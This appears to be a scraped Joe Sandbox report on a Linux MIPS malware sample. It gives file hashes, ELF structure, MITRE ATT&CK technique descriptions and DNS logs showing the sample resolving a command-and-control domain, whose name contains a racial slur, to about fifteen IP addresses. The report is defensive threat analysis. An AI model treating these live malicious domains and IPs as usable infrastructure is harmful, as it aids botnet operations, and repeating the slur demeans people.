SHA512:	9ef6fb99c3039a97083f6228b269acb060d2308d6c72192c4e4cb39f935251c1d6ceb31c7ef3384957b55ef4797cfe007b038f8b41e9f5f518625c32b518998b
SSDEEP:	1536:gyNJ1xmY2NNsa5pROKp/OpGWkCZed3iAFJblfjugnI8sR:gy77r2NWa5pz/bIgnI
TLSH:	3E83B4497F254FEBDC9FCC3B45BA5B0428CC960A21943B766E70E418F65B24F1AE3864
File Content Preview:	.ELF....................`.@.4....F......4. ...(...............@...@. =.. =...............@...@E..@E.\...8...........Q.td...............................<...'!......'.......................<...'!... .........9'.. ........................<...'!...........P+9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	83656
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x12aa0	0x0	0x6	AX	16
.fini	PROGBITS	0x412bc0	0x12bc0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x412c20	0x12c20	0x1100	0x0	0x2	A	16
.ctors	PROGBITS	0x454000	0x14000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x454008	0x14008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x454010	0x14010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x454014	0x14014	0xe0	0x0	0x3	WA	4
.data	PROGBITS	0x454100	0x14100	0x190	0x0	0x3	WA	16
.got	PROGBITS	0x454290	0x14290	0x3cc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x45465c	0x1465c	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x454680	0x1465c	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0x1465c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1465c	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x13d20	0x13d20	5.5795	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14000	0x454000	0x454000	0x65c	0x1838	3.6720	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	5.181.80.61	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	86.104.194.181	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	86.104.194.171	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	5.181.80.130	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	204.76.203.223	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	204.76.203.5	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	5.181.80.60	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	86.104.194.115	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	204.76.203.63	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	5.181.80.140	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	204.76.203.101	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	5.181.80.59	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	86.104.194.178	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	5.181.80.189	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:20:06.652565956 CEST	194.36.144.87	192.168.2.15	0x19f6	No error (0)	infectedchink.pirate	204.76.203.103	A (IP address)	IN (0x0001)	false

Start time (UTC):	09:20:04
Start date (UTC):	27/04/2024
Path:	/tmp/x1b5bmJgLm.elf
Arguments:	/tmp/x1b5bmJgLm.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	09:20:05
Start date (UTC):	27/04/2024
Path:	/tmp/x1b5bmJgLm.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report x1b5bmJgLm.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0biw8X (deleted)

/tmp/qemu-open.1J5oRW (deleted)

/tmp/qemu-open.1U6HSZ (deleted)

/tmp/qemu-open.3e2nDZ (deleted)

/tmp/qemu-open.3xUj1Y (deleted)

/tmp/qemu-open.4OY68X (deleted)

/tmp/qemu-open.5MjIUZ (deleted)

/tmp/qemu-open.5zEIjY (deleted)

/tmp/qemu-open.8SqhEZ (deleted)

/tmp/qemu-open.9CdnuW (deleted)

/tmp/qemu-open.9yh8WX (deleted)

/tmp/qemu-open.AYAlzV (deleted)

/tmp/qemu-open.AlJzmX (deleted)

/tmp/qemu-open.AlUBDX (deleted)

/tmp/qemu-open.B1bZQW (deleted)

/tmp/qemu-open.CfcPWY (deleted)

/tmp/qemu-open.CnuaOW (deleted)

/tmp/qemu-open.DUQ09X (deleted)

/tmp/qemu-open.DlmLuV (deleted)

/tmp/qemu-open.ECGYUV (deleted)

/tmp/qemu-open.FT9frX (deleted)

/tmp/qemu-open.GxjELX (deleted)

/tmp/qemu-open.H7pJcY (deleted)

/tmp/qemu-open.HJ35IX (deleted)

/tmp/qemu-open.HTcneW (deleted)

/tmp/qemu-open.Hf1Q0X (deleted)

/tmp/qemu-open.IINE0V (deleted)

/tmp/qemu-open.IV6BYV (deleted)

/tmp/qemu-open.IrmI9Y (deleted)

/tmp/qemu-open.JJEuwV (deleted)

/tmp/qemu-open.Lpk9MV (deleted)

/tmp/qemu-open.NSMxhY (deleted)

/tmp/qemu-open.NdRfgX (deleted)

Linux Analysis Report
x1b5bmJgLm.elf

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre